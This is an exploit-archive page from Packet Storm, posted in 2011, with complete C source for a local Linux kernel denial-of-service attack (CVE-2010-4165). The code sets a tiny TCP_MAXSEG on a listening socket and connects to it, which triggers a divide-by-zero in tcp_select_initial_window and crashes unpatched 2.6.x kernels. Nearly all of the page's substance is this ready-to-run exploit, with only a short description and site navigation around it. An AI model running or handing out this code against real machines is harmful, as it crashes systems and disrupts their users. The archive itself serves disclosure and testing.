exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 2.6.37 Denial Of Service

Linux Kernel 2.6.37 Denial Of Service
Posted Mar 1, 2011
Authored by prdelka

Linux kernel versions 2.6.37 and below local kernel denial of service exploit that leverages a divide-by-zero error in tcp_select_initial_window when processing user supplied TCP_MAXSEG.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2010-4165
SHA-256 | f20e0d2ebc4ff05467a9771775dda2115edfe394b7365dba0410ad1d236a4eab

Linux Kernel 2.6.37 Denial Of Service

Change Mirror Download
/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
* =======================================================
* A divide by 0 error occurs in tcp_select_initial_window
* when processing user supplied TCP_MAXSEG facilitating a
* local denial-of-service condition (kernel oops!) in all
* Linux Kernel 2.6.x branch (2.6.37 & below). This issue
* can be triggered easily with a call to setsockopt() on
* a listening network socket and then establishing a TCP
* connection to the awaiting socket.
*
* -- prdelka
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
int optval, optlen, ret, sd, sd2, pid;
char *host = "localhost";
struct sockaddr_in locAddr;
struct sockaddr_in servAddr;
struct sockaddr_in dstAddr;
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
memset(&servAddr,0,sizeof(servAddr));
memset(&dstAddr,0,sizeof(dstAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(60000);
servAddr.sin_addr.s_addr = INADDR_ANY;
dstAddr.sin_family = AF_INET;
inet_aton("127.0.0.1", &dstAddr.sin_addr);
dstAddr.sin_port = htons(60000);
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
printf("[ Cannot bind listener service\n");
exit(-1);
}
listen(sd,4);
optval = 12;
ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
if(ret==0)
{
printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
int sin_size = sizeof(struct sockaddr_in);
switch(pid = fork())
{
case 0:
sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
sleep(3);
default:
sd2 = socket(AF_INET, SOCK_STREAM, 0);
connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
sleep(3);
}
}
printf("[ System is patched, no dreams for this prince\n");
return 0;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close